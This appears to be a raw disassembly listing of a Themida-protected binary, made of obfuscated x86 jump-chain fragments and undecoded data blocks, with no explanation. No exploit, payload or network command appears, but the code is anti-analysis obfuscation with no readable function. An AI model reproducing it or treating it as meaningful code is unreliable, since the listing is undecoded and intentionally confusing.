loc_570604: ; CODE XREF: Themida_:0056AF8Fj add esp, 4 loc_570607: ; CODE XREF: Themida_:00565FE1j ; Themida_:loc_56D46Bj push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx mov edx, esp push edi push edx push edi push 2440227Dh jmp loc_5626E9 ; --------------------------------------------------------------------------- dd 4DA5E9ACh, 45BFFFFh, 2CC304ABh, 4F00056h, 0E9C32C56h dd 0FFFFE32Dh, 4C481h, 48F0000h, 1C895C24h, 2CA0B324h dd 66D800EEh, 0E9EEB151h, 0FFFF6728h ; --------------------------------------------------------------------------- loc_570654: ; CODE XREF: Themida_:0056E9D6j mov ebp, 16576696h shr ebp, 7 xor ebp, 45560A40h sub ebp, 4A414F7Dh xor ebp, 4D076831h add ebp, 901B7532h jmp loc_565286 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0E2h dd 2101A416h, 0E9575AD5h, 0FFFF157Ah, 0EA623D05h, 76B95152h dd 8160042Fh, 7710C5F1h, 8BE98176h, 2982BE67h, 0C30159C8h dd 0E924048Bh, 34FDh ; --------------------------------------------------------------------------- loc_5706AC: ; CODE XREF: Themida_:00562E2Dj sub ebx, edx push edi sub esp, 4 mov [esp], edx mov edx, 3D01717Dh xor edx, 69EC09F0h mov edi, edx mov edx, [esp] push edi mov edi, esp jmp loc_564082 ; --------------------------------------------------------------------------- dd 4D00059h, 20E95AC2h, 51000013h, 0E80042B5h, 0C3B5E959h dd 0FF68FFFFh, 8900004Dh, 6856241Ch, 776Bh, 0BB241C89h dd 62FE55DFh, 4B02E3C1h, 1AF38143h, 89F6D203h, 0E7E95BDEh dd 5D000029h, 0FF673FE9h, 84F780FFh, 0FF6136E9h, 5393BEFFh dd 0EFE9582Fh, 4FFFFC3h, 90B5518Eh, 2C59E828h, 281E04C4h dd 41E2CD8h, 689004C4h, 0C03h, 83240C89h, 1C8904ECh, 66246824h dd 0C890000h, 80F6B524h, 0E580CACDh, 156EE9B6h, 685FFFFFh dd 238Fh, 0FFFA49E9h, 8BF301FFh, 0E8E92434h, 66FFFF19h dd 5624048Bh, 0BA52E689h, 7CB616A4h, 0F702EAC1h, 0EEE281DAh dd 423D2707h, 3052E9h, 2404FF00h, 8A8E99Ch, 0F101FFFFh dd 1E81E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5707A2: ; CODE XREF: Themida_:0056471Bj mov [esp], edi jmp loc_566AF0 ; --------------------------------------------------------------------------- dw 505Fh dd 0B662D3B8h, 84BE5663h, 81365227h, 0E44553F6h, 5EF03155h dd 0FFF683E9h db 0FFh ; --------------------------------------------------------------------------- loc_5707C5: ; CODE XREF: Themida_:00563DDBj push edi mov edi, 588F1C60h jmp loc_567164 ; --------------------------------------------------------------------------- loc_5707D0: ; CODE XREF: Themida_:00563984j dec edi sub edi, 1DACEF7Bh add eax, edi jmp loc_56F069 ; --------------------------------------------------------------------------- loc_5707DE: ; CODE XREF: Themida_:00575674j mov ah, 92h add ah, 1 add ah, 66h shl ah, 2 push bx jmp loc_575471 ; --------------------------------------------------------------------------- dd 59E9D9F7h, 81FFFF16h, 4EFh, 243C8700h, 2424895Ch, 0FFD2C5E9h dd 21E95CFFh db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_57080F: ; CODE XREF: Themida_:0056C6A5j add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 19A8h mov [esp], ecx push 45ADh mov [esp], edi mov edi, 16F31FD9h push 75C7h mov [esp], edi jmp loc_56CEBF ; --------------------------------------------------------------------------- loc_570843: ; CODE XREF: Themida_:005719EDj mov ecx, eax jmp loc_570C5A ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 68243489h, 7E7E5D0Eh, 0FF87E1E9h, 4E6C1FFh, 0FFB053E9h db 0FFh ; --------------------------------------------------------------------------- loc_570865: ; CODE XREF: Themida_:0056590Dj mov cl, 1Ah mov al, 6Dh jmp loc_56CA32 ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 24048F54h, 4BD55h, 44810000h, 55720424h dd 6C010466h, 6C810424h, 55720424h, 55E90466h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570897: ; CODE XREF: Themida_:0057482Bj mov [esp], esi mov esi, 6CBC5C63h jmp loc_576B26 ; --------------------------------------------------------------------------- dd 1811E95Eh, 0EA810000h, 49E124A5h, 0DB78EA81h, 0D5013A2Eh dd 4C5815Ah, 33000000h, 2C31242Ch, 242C3324h, 774E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5708CE: ; CODE XREF: Themida_:00572358j mov ebp, 52A55EB4h jmp loc_5688A9 ; --------------------------------------------------------------------------- dd 88F7814Fh, 0E919D118h, 0FFFFD5B4h, 83242489h, 8B042404h dd 0C483240Ch, 68505504h, 7DA653D0h, 5E0D158h, 3B8AC127h dd 2FE9C589h, 83000008h, 0B15104C4h, 6CE98060h, 0F6F1F180h dd 99D8E9D1h, 0F781FFFFh, 51C96638h, 0E95FFE01h, 111Ch dd 0FF0715E9h, 4B8FFh, 0EC810000h, 4, 89243C89h, 0D03E9C7h dd 0E952FFFFh, 39D5h, 2434875Fh, 2404895Ch, 4BF57h, 0F8890000h dd 0FFC1015Fh, 45E92434h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570963: ; CODE XREF: Themida_:0056F1ABj add dword ptr [esp], 4 jmp loc_56BC6F ; --------------------------------------------------------------------------- loc_57096C: ; CODE XREF: Themida_:00564D36j mov eax, 8B522B6h add eax, 4FC32870h shl eax, 6 neg eax dec eax jmp loc_5697F6 ; --------------------------------------------------------------------------- db 0B8h, 5, 2Bh dd 0E8312417h, 0A6ADE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57098E: ; CODE XREF: Themida_:00562B21j push esp jmp loc_56CCC4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 jmp loc_57184F ; --------------------------------------------------------------------------- dw 77B8h dd 31688162h, 0EC8158C3h, 4, 52241C89h, 0FFDA26E9h, 5239B3FFh dd 0FF4132E9h, 1ECA81FFh, 0C14FED46h, 0C28104EAh, 0FB002119h dd 148BD101h, 976BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5709DA: ; CODE XREF: Themida_:00571D1Dj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edx, edi add edx, 64A033E4h push dword ptr [edx] push dword ptr [esp] jmp loc_56862A ; --------------------------------------------------------------------------- loc_5709FC: ; CODE XREF: Themida_:00562931j mov [esp], edx jmp loc_576775 ; --------------------------------------------------------------------------- dd 210A74BDh, 6C85E908h, 0E95DFFFFh, 0FFFFAE6Bh, 8904EC83h dd 1CB1240Ch, 0CC0093B4h, 58E30059h, 289BEB80h, 9BC380C3h dd 8073B252h, 2E97AC2h, 59000011h, 1968DAF7h, 89000053h dd 11E92414h, 83FFFF10h, 0FF042404h, 45E92434h, 5AFFFFEBh dd 3932472Dh, 3985E95Bh, 535C0000h, 58E9E389h, 87000037h dd 895C240Ch, 8BBB241Ch, 81718705h, 70E67EEBh, 8950573Ch dd 58C789D8h, 13E2E9h, 4C38100h, 87000000h, 335C241Ch dd 34312434h, 24343324h, 0E924248Bh, 4151h, 54240489h dd 4047E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_570AAA: ; CODE XREF: Themida_:005761BCj sub edx, edi pop edi xchg edx, [esp] mov esp, [esp] mov [esp], edi push esp pop edi add edi, 4 jmp loc_56A6D3 ; --------------------------------------------------------------------------- db 0D1h dd 685155EFh, 53765BF5h, 0CFE98159h, 89FDB40Fh, 0DDF759CDh dd 3DB0E581h, 0C58151BFh, 2A1CDF75h, 0B4E9EF31h, 66FFFFAFh dd 6824048Bh, 2DB4h, 81240C89h, 4ECh, 4EC8300h, 83242489h dd 8F042404h, 0E9562404h, 0FFFFCF8Ch, 4230BA52h, 585275CFh dd 0E9D8315Ah, 0FFFFDB57h, 8FABA52h, 0B2E957B8h, 6600002Bh dd 4A4AE95Bh, 0C4830000h, 0E9DAF704h, 0FFFFFD6Eh, 8124048Bh dd 4C4h, 80C1E900h, 4F68FFFFh, 0FF163E2Bh, 0A7E92434h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_570B57: ; CODE XREF: Themida_:00567063j xor eax, 3D3105C6h xor esi, eax jmp loc_574FAC ; --------------------------------------------------------------------------- db 0F7h dd 0F6814ED6h, 0D2888006h, 575EF101h, 4BFh, 5FF90100h dd 0E9240C87h, 0FFFFE805h, 0E9545550h, 0FFFF49DEh, 60F4BD55h dd 6C816369h, 101A0824h, 6C0161E0h, 2DE90824h, 31FFFF07h dd 34332434h, 24248B24h, 0BD242C89h, 176E2C43h, 760268h dd 24148900h, 0FFFFFFBAh, 9BB850FFh, 35283D73h, 5F864D71h dd 158C529h, 0EAC581D5h, 5A77BB3Eh, 0C6C68h, 28DAE900h dd 8B66FFFFh, 0EC83240Ch, 78CCE904h, 0D1F7FFFFh, 86E95155h dd 0E9FFFF72h, 0FFFF044Ah, 0B6525153h, 8080B15Dh, 0F12857C1h dd 0FF915FE9h db 0FFh ; --------------------------------------------------------------------------- loc_570C09: ; CODE XREF: Themida_:0056C912j push esi mov esi, 46D769Ah not esi push ebx jmp loc_567E38 ; --------------------------------------------------------------------------- db 89h dd 9989E9E3h, 6268FFFFh, 89000030h, 6856242Ch, 76BF7913h dd 0E9DEF75Eh, 7B6h, 0B951E389h, 4D70555Fh, 0FF6B8CE9h dd 3EB951FFh, 8134045Ah, 0D93CD2E9h, 0A17AE948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570C52: ; CODE XREF: Themida_:00568043j add esp, 4 jmp loc_56B7F3 ; --------------------------------------------------------------------------- loc_570C5A: ; CODE XREF: Themida_:00570845j pop eax add ebx, ecx pop ecx add ebx, 37D72628h sub ebx, 7DBE7325h push small word ptr [eax] jmp loc_561042 ; --------------------------------------------------------------------------- loc_570C72: ; CODE XREF: Themida_:00564D4Bj pop esp pop esi push 20C4h mov [esp], esi push edi push 5DDA1AB0h pop edi push edx push edi push ebp jmp loc_567C03 ; --------------------------------------------------------------------------- db 83h dd 0E95704C4h, 0FFFFFBB6h ; --------------------------------------------------------------------------- loc_570C94: ; CODE XREF: Themida_:0056C3C9j push 32ACh jmp loc_5688B1 ; --------------------------------------------------------------------------- dw 2C87h dd 34895C24h, 81E68924h, 4ECh, 242C8900h, 4BDh, 2CCCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_570CBA: ; CODE XREF: Themida_:00564329j sub esp, 4 mov [esp], eax add dword ptr [esp], 4E787F73h mov ebx, [esp] jmp loc_563234 ; --------------------------------------------------------------------------- dw 77FFh dd 0AD59E93Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570CDA: ; CODE XREF: Themida_:00565772j push ebp not dword ptr [esp] pop ebp push ebp not dword ptr [esp] pop ebp add ebp, 0C7F6E569h jmp loc_565882 ; --------------------------------------------------------------------------- db 58h dd 4C481h, 0ED810000h, 7FF84AD9h, 0FF52F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_570D01: ; CODE XREF: Themida_:0056DDEAj mov edi, esp push ebp mov ebp, 678D3380h shr ebp, 4 dec ebp not ebp jmp loc_5658AB ; --------------------------------------------------------------------------- dd 0F22A805h, 22F2D1Bh, 0EC81216Bh, 4, 81243489h, 4ECh dd 7E60E900h, 372CFFFFh, 83683504h, 89000069h, 0DFB7241Ch dd 1C8BF828h, 1C086824h, 2C890000h, 0E9E58924h, 0FFFF920Ch ; --------------------------------------------------------------------------- loc_570D54: ; CODE XREF: Themida_:00562DF9j ; Themida_:00563A8Bj ... push edi push 1BE7h mov [esp], esp jmp loc_5747A0 ; --------------------------------------------------------------------------- dw 405h dd 50000000h, 0FF3FF7E9h, 2434FFFFh, 0E924048Bh, 0FFFFE3EAh ; --------------------------------------------------------------------------- loc_570D78: ; CODE XREF: Themida_:00572DF1j sub edi, 131348Ch and eax, edi push dword ptr [esp] pop edi jmp loc_56EAFE ; --------------------------------------------------------------------------- loc_570D89: ; CODE XREF: Themida_:0056FEBAj pop ecx not edi or edi, 559030A9h sub edi, 7987704Bh add edi, 98E5DAFh jmp loc_5615A4 ; --------------------------------------------------------------------------- db 0FFh dd 5A042474h, 5C24048Fh, 23CCE9h, 7EAC100h, 81A3F281h dd 0D3014A74h, 8BD9295Ah, 8957241Ch, 4C781E7h, 83000000h dd 0FF5704C7h, 0E9042474h, 0FFFF80AAh, 5C240C87h, 0E9243C89h dd 0FFFFD7FAh, 0E95DEA31h, 5C0Fh ; --------------------------------------------------------------------------- loc_570DEC: ; CODE XREF: Themida_:00568718j and eax, edx pop edx jmp loc_5731ED ; --------------------------------------------------------------------------- aIHj db '‰<$h¦',27h,0 align 4 dd 56240C89h, 2B0486BEh, 75C68151h, 89DDE718h, 9C685EF1h dd 89000050h, 34FF240Ch, 243C8B24h, 4C481h, 0C4830000h dd 3ACE904h, 0DAF7FFFFh, 0FF202CE9h, 80F181FFh, 8176AB4Ah dd 7C68C8F1h, 0EA98E923h, 1D68FFFFh, 0FF61920Ah, 815D2434h dd 4C4h, 0CCBB5300h, 4B71F951h, 0A3E9D3F7h, 8800001Ah dd 148B59CFh, 4C48324h, 81240C8Bh, 4C4h, 28F00400h, 0E9F02CF8h dd 0FFFF5217h, 6652665Ch, 662D00BAh, 5E8EE281h, 70EA8166h dd 0D00166A0h, 0FF2078E9h, 148B59FFh, 5DE95724h, 8BFFFF09h dd 85E9242Ch db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570EA7: ; CODE XREF: Themida_:00573AD6j shr dl, 8 push bx jmp loc_56715D ; --------------------------------------------------------------------------- db 55h, 0BDh, 0DCh dd 134ED0Ah, 8B08246Ch, 0C483242Ch, 241C8B04h, 4C481h dd 31E90000h, 80FFFF3Ah, 0C680CCEEh, 0DE005961h, 0EAB05066h dd 5866C628h, 737BE95Bh, 57E9FFFFh, 0BFFFFF01h, 0FD51EBFh dd 8646EBBh, 5FFB296Dh, 0CCBA53BEh, 1EEE81A2h, 1409237h dd 1F7FE9DEh, 0C15E0000h, 19E907E6h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_570F13: ; CODE XREF: Themida_:00567681j sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx push edi mov edi, 4B420F08h add edi, 0FFFFFFFFh dec edi push esi mov esi, 4B420F02h sub edi, esi jmp loc_56D8B7 ; --------------------------------------------------------------------------- db 58h, 29h, 0FBh dd 123DC381h, 835F3419h, 1C8904ECh, 1C8B5A24h, 4C48324h dd 0FF2D12E9h db 0FFh ; --------------------------------------------------------------------------- loc_570F55: ; CODE XREF: Themida_:0057127Aj pop ecx jmp loc_57596F ; --------------------------------------------------------------------------- db 81h dd 0A60B90EBh, 4012E94Ah, 815C0000h, 4C4h, 68E1F700h, 39DBh dd 50241489h, 0C4E99Ch, 0EC83FFFFh, 5520E904h, 0C1830000h dd 240C3304h, 33240C31h, 5C240Ch, 1E0768D8h, 0C890000h dd 3E05E924h, 0C4830000h, 0E0895004h, 6ED1BD55h, 0E9456F1Eh dd 1CEAh, 31311B8h, 3D58E931h, 248B0000h, 0B51AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570FC6: ; CODE XREF: Themida_:0056372Dj sub ebp, ecx jmp loc_563C47 ; --------------------------------------------------------------------------- db 52h, 0FFh, 74h dd 8F5A0424h, 0E95C2404h, 0FFFF2DA0h, 4E240481h, 587B174Bh dd 0A4D5E955h, 0ED81FFFFh, 0FFFFFFFFh, 5206E5C1h, 30EE68h dd 0B667E900h, 0E3C1FFFFh, 0CD91E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571006: ; CODE XREF: Themida_:0056617Cj mov ebp, 502539B3h shr ebp, 6 xor ebp, 6560FF11h sub ebx, ebp jmp loc_56D4E9 ; --------------------------------------------------------------------------- loc_57101B: ; CODE XREF: Themida_:005721C8j mov esp, [esp] or eax, eax jnz loc_574C86 push edi jmp loc_56BAB1 ; --------------------------------------------------------------------------- dd 1FE9E681h, 0EE810E59h, 0FFBEF0CAh, 295EF189h, 5908244Ch dd 0FFCB1BE9h, 83B7FFh, 2EE959CFh, 51FFFFE6h, 1A4F68h dd 242C8900h, 0C02DECBDh, 0C581453Dh, 671F0D59h, 555AED81h dd 0E5C16D4Bh, 51DDF704h, 0FFC374E9h, 0D4E95CFFh, 5FFFFCEh dd 3E347652h, 4EC835Bh, 83243489h, 2C8904ECh, 6921BD24h dd 42E97C5Fh db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571097: ; CODE XREF: Themida_:0056B5A2j mov [esp], ecx mov ecx, 2267209Eh inc ecx neg ecx inc ecx push ecx xchg edx, [esp] not edx xchg edx, [esp] pop ecx neg ecx sub ecx, 0DD98DF5Fh jmp loc_567899 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 57000000h, 5890BE56h, 97E97EE7h, 8FFFFF01h dd 2BE5E902h, 0C0830000h, 932CE901h, 0DE01FFFFh, 4C6815Bh dd 56000000h, 42474FFh, 24048F5Eh, 6824248Bh, 1F81h, 56243C89h dd 2D14E9h db 0 ; --------------------------------------------------------------------------- loc_571101: ; CODE XREF: Themida_:005758A1j or ebp, 291952BEh jmp loc_5610D3 ; --------------------------------------------------------------------------- loc_57110C: ; CODE XREF: Themida_:0057207Fj add esp, 4 push 711Fh mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push 6B9Dh mov [esp], ecx mov ecx, 4 add ebp, 67045F6Eh jmp loc_574D56 ; --------------------------------------------------------------------------- dw 8158h dd 647145EDh, 0A6B8507Eh, 2565E104h, 78A256D3h, 754AC205h dd 58C529A0h, 335CC581h, 0E58122AFh, 79C6676Ch, 0FF74E995h dd 6C01FFFFh, 25E90424h, 5BFFFF09h, 19E9F931h, 8B00004Dh dd 0C481241Ch, 4, 0FF4B48E9h, 241489FFh, 4BAh, 0C2C58100h dd 177E43Ch, 0C2ED81D5h, 8B77E43Ch, 83E92414h, 80000056h dd 0E98049E1h, 0AE48E968h, 0F681FFFFh, 26236FCh, 3208C681h dd 0F789204Ah, 90C3815Eh, 0E9777B1Fh, 1A48h, 6824248Bh dd 0 dd 24FFBE56h, 5FE96259h, 66FFFFDEh, 66243487h, 6677D968h dd 66243489h, 0E9243C31h, 2168h, 24048B66h, 4EC8353h, 50242489h dd 4B8h, 24440100h, 0E95B5804h, 0FFFFF978h, 586468h, 240C8900h dd 0D5F6C4B5h, 0F580CDFEh, 0D6C58023h, 0FFED16E9h, 3E1C1FFh dd 29EAE981h, 0CB89CC80h, 0FF3696E9h, 0FECAFEFFh, 356BE9CAh dd 0A368FFFFh, 0E900005Dh, 0FFFF52AFh, 240C8B66h, 0DAFEE950h dd 0C483FFFFh, 4C18104h, 53000000h, 4BBh, 5BD90100h, 31240C33h dd 0C33240Ch, 24248B24h, 0FF7E19E9h db 0FFh ; --------------------------------------------------------------------------- loc_571271: ; CODE XREF: Themida_:0057157Dj mov ch, 7 add ch, bh pop ebx mov dl, 3Ah add dl, ch jmp loc_570F55 ; --------------------------------------------------------------------------- db 81h dd 0A95E97EAh, 27DAE911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57128A: ; CODE XREF: Themida_:0056808Cj mov ebx, [esp] add esp, 4 push eax mov ah, dh mov bh, ah mov eax, [esp] push edi push esp jmp loc_561B63 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 88534FB1h, 0E9DE88CBh, 0FFFF91AFh dd 4E02EEC1h, 256DE9h, 81C10100h, 3213EFE9h, 24048B44h dd 0E904C483h, 0FFFFC24Ah, 4ED0C781h, 0E958470Dh, 0FFFFC194h dd 24048966h, 0FEFD5DE9h, 455B05FFh, 0BEE92E54h, 53FFFF41h dd 2777B951h, 0CB8904CAh, 0FF782DE9h, 0B8505FFFh, 2, 25C6C581h dd 0C5015060h, 38C8E9h, 0E6EF8100h, 5B5B2C27h, 0FF47E8E9h dd 4E9ACFFh, 81FFFFF4h, 91247DEAh, 74E94A58h, 2900002Ah dd 0DD295FFBh, 83241C8Bh, 2C8704C4h, 89665C24h, 50662414h dd 0FCF8E99Ch, 162DFFFEh, 151AC2Bh, 2B1605F0h, 0D30551ACh dd 0E96AE15Dh, 30BDh, 13B0C381h, 0D9292DA5h, 0B1E9815Bh dd 8158CF37h, 373896C1h, 0F3E98152h, 0E96A096Dh, 0FFFF0214h dd 8107E9C1h, 9B766DE9h, 59CE8986h, 3AE3E9h, 8BD00100h dd 0C4832414h, 3B6E904h, 835DFFFFh, 148704EAh, 24248B24h dd 54242C89h, 83242C8Bh, 0BE5604C4h, 2DD656D6h, 623C68h dd 242C8900h, 2BB5350h, 43734B25h, 1B85C381h, 0E381779Dh dd 6FB37BF6h, 1E56C381h, 0EBC1786Dh, 40C38106h, 891641D4h dd 2B43E9D8h, 0D6F70000h, 0FFC551E9h, 54E94FFFh, 29FFFFE2h dd 0ADE953D8h, 89000028h, 0E0892404h, 0A19DE953h, 0E789FFFFh dd 4C781h, 53E90000h db 19h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571417: ; CODE XREF: Themida_:0056C66Fj pop ebx jmp loc_56A97A ; --------------------------------------------------------------------------- loc_57141D: ; CODE XREF: Themida_:00564A1Bj add edi, 4 jmp loc_56DDE2 ; --------------------------------------------------------------------------- loc_571428: ; CODE XREF: Themida_:00562694j mov edx, [esp] add esp, 4 pop ebx mov dl, ch pop ecx push 690Ah mov [esp], ebx push 73FDh mov [esp], ecx mov cl, dl jmp loc_57394B ; --------------------------------------------------------------------------- db 35h, 10h, 62h dd 0C60129A0h, 0FF7FB4E9h, 0E5E958FFh, 1000047h, 5B6E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_571462: ; CODE XREF: Themida_:00562EC6j neg ebp add ebp, 9A1BC946h and ebp, 535C2EBBh inc ebp dec ebp inc ebp push ebx mov ebx, 0B5E0D1Ah sub ebp, ebx jmp loc_56E857 ; --------------------------------------------------------------------------- loc_571480: ; CODE XREF: Themida_:0057180Bj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ecx push ebx add dword ptr [esp], 1A6808DDh mov ecx, [esp] add esp, 4 sub ecx, 1A6808DDh push ebx mov ebx, ecx mov eax, ebx jmp loc_56FFB7 ; --------------------------------------------------------------------------- db 0BEh, 2, 0 dd 0F1050000h, 56E564Ah, 5C841ACDh, 0F36F0B05h, 5DD32D41h dd 7FE96AE1h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5714CB: ; CODE XREF: Themida_:0056EAA8j sub edx, 5CE90B2Eh sub edx, ebx push edi mov edi, 5CE90B2Eh add edx, edi pop edi mov ebx, [esp] add esp, 4 jmp loc_572D2D ; --------------------------------------------------------------------------- db 0B9h dd 4, 8159C801h, 4ECh, 510E900h, 51680000h, 0E900001Ah dd 2607h, 4055Ch, 0E9570000h, 4D2Eh, 217577BBh, 41F38130h dd 0E921EF29h, 0FFFF6CF5h, 8F66C331h, 42CE900h, 0EC830000h dd 24048904h, 1250BD55h, 46E909CBh, 5BFFFFF4h, 0FFCE69E9h db 0FFh ; --------------------------------------------------------------------------- loc_571541: ; CODE XREF: Themida_:00566CB8j pop ebp xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_562C3A ; --------------------------------------------------------------------------- dw 0CF68h dd 89000034h, 268243Ch, 5F000000h, 0FF0088E9h db 0FFh ; --------------------------------------------------------------------------- loc_571561: ; CODE XREF: Themida_:00574E1Ej sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 709DD54Ah xor ebx, ecx jmp loc_561448 ; --------------------------------------------------------------------------- loc_571579: ; CODE XREF: Themida_:0057203Bj push ecx push ebx mov bh, 0DFh jmp loc_571271 ; --------------------------------------------------------------------------- dw 8B66h dd 0CB682404h, 89000069h, 51E92434h, 68FFFFB7h, 3DABh dd 89241489h, 4C281E2h, 51000000h, 7412B850h, 0F2B90211h dd 0E9FDEE8Bh, 4A7Dh, 0E9241C87h, 0FFFF60B2h, 0E95FFA01h dd 0FFFFFDCDh, 4EC81h, 2C890000h, 2F07E924h, 0E95B0000h dd 0FFFF1909h, 1E13F781h, 98685EBFh, 8900000Eh, 68BB241Ch dd 816CEC2Bh, 6E4A3CC3h, 5BDF09A0h, 0CD8E781h, 0C78152C0h dd 0DC9D4B03h, 535FFA29h, 25FFB951h, 12E91F95h, 81FFFFFCh dd 8E05A4F2h, 0E835E95Fh, 5756FFFFh, 473C6851h, 0E959245Ah dd 8FFh, 0E0C0C8FEh, 0A0B25202h, 9BE9D000h, 5F000049h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 15C243Ch, 34335DEEh dd 24343124h, 0E9243433h, 3C93h, 50E9D7F7h, 89FFFFCBh dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 5EB2E95Ch, 0C781FFFFh dd 4, 4EF81h, 3C870000h, 24895C24h, 24048324h, 243C8B04h dd 0FFCE8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_571699: ; CODE XREF: Themida_:005689A7j and ecx, 2A1B4657h push eax jmp loc_56F2DD ; --------------------------------------------------------------------------- loc_5716A5: ; CODE XREF: Themida_:0056F058j pop ebx push esi push edx jmp loc_56C684 ; --------------------------------------------------------------------------- loc_5716AD: ; CODE XREF: Themida_:00561901j xor ecx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] add dword ptr [esp], 4F90419Dh jmp loc_5668D3 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFFD42h ; --------------------------------------------------------------------------- loc_5716C8: ; CODE XREF: Themida_:0056F626j mov edx, [esp] add esp, 4 sub edx, 79385781h pop ebp jmp loc_5690AB ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFD3FDh, 8106EBC1h, 7B397CE3h, 54BE5660h, 31007A08h dd 0F1AEE9F3h, 2BBAFFFFh, 0F7617B2Fh, 8C281DAh, 29CBFE9Eh dd 0E8015AD0h, 836EDD05h, 242C8B6Ah, 0FF4BB1E9h, 24248BFFh dd 9C243CD2h, 0FEF921E9h, 243487FFh, 8F24248Bh, 0E95C2404h dd 41B4h, 8759CE01h, 815C2434h, 4C5h, 703E900h, 685AFFFFh dd 11C4h, 0E9241489h, 0FFFFED5Fh, 685BD929h, 2625h, 0FF10FAE9h dd 43D5BFFFh, 0A0E93CA1h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571767: ; CODE XREF: Themida_:00567932j mov esi, [esp] push edx jmp loc_56AF57 ; --------------------------------------------------------------------------- loc_571770: ; CODE XREF: Themida_:00575FCDj mov edi, 4D754AF6h not edi sub edi, 3D6324F0h not edi push ecx jmp loc_57525C ; --------------------------------------------------------------------------- loc_571785: ; CODE XREF: Themida_:00565EE1j mov ebp, esi pop esi inc ebp jmp loc_56FA2D ; --------------------------------------------------------------------------- dw 5557h dd 0AA7D90BDh, 0BCE4E944h, 0DF89FFFFh, 5B5FFD89h, 15BDD01h dd 0C875DE9h, 24248B24h, 9C242CD2h, 0FEF88DE9h, 447D68FFh dd 0C890000h, 53595424h, 4EC81h, 0C890000h, 44EDB924h dd 0F6684E70h, 0E9000045h, 0FFFFB01Fh ; --------------------------------------------------------------------------- loc_5717D8: ; CODE XREF: Themida_:00569687j add ebx, 0BC608489h push 7A2Eh mov [esp], edx push ebx mov ebx, 107D4960h mov edx, 78FE23C0h xor edx, ebx pop ebx add eax, 53B50786h add eax, edx push ebx mov ebx, 53B50786h sub eax, ebx jmp loc_56F46A ; --------------------------------------------------------------------------- loc_571808: ; CODE XREF: Themida_:0056B023j xor edx, [esp] jmp loc_571480 ; --------------------------------------------------------------------------- dd 9C240420h, 0FEF829E9h db 0FFh ; --------------------------------------------------------------------------- loc_571819: ; CODE XREF: Themida_:0056E2E6j mov [esp], esp jmp loc_564B28 ; --------------------------------------------------------------------------- db 81h, 0E9h, 46h dd 29A621EAh, 0C28159CAh, 2B9442C5h, 7E9F201h, 8B00004Eh dd 0C4812404h, 4, 718968h, 24348900h, 9E95E54h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57184F: ; CODE XREF: Themida_:0057099Dj add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp push 0FFFh jmp loc_5629F5 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E6895658h, 4C681h, 0C6830000h, 24348704h dd 4EC815Ch, 0E9000000h, 0FFFFA5E3h ; --------------------------------------------------------------------------- loc_571888: ; CODE XREF: Themida_:00565428j push ecx jmp loc_566929 ; --------------------------------------------------------------------------- dw 0A7BBh dd 0E94FA312h, 0FFFFFAC8h ; --------------------------------------------------------------------------- loc_571898: ; CODE XREF: Themida_:005652D9j push dword ptr [esp+4] jmp loc_56B185 ; --------------------------------------------------------------------------- db 46h, 0C1h, 0EEh dd 6EEC103h, 0FF7437E9h, 91E95AFFh, 8BFFFF26h, 0C481241Ch dd 4, 2C8BE901h, 45B2E924h, 248B0000h, 0E9F9F624h, 0FFFF836Bh dd 0B9240C89h, 4, 0E0E9CA29h, 31FFFFBFh, 0C2815FFAh, 346D3B70h dd 43F9E281h, 0A8E937E7h, 59FFFF10h, 66B4B353h, 2414F653h dd 0D3F65B66h, 8006C380h, 0CB8001EBh, 4C1CE9A9h, 3C31FFFFh dd 243C3324h, 0E924248Bh, 0FFFFFEF4h, 8159CE01h, 0A541A4C2h dd 0F0EA813Fh, 14E3F0Bh, 0F0B951F2h, 814E3F0Bh, 2B6676C2h dd 81CA0149h, 2B6676EAh, 0EA815949h, 3FA541A4h, 8124348Bh dd 4C4h, 0F6ECE900h, 0E7E9FFFEh db 0F6h, 0FEh, 0FFh 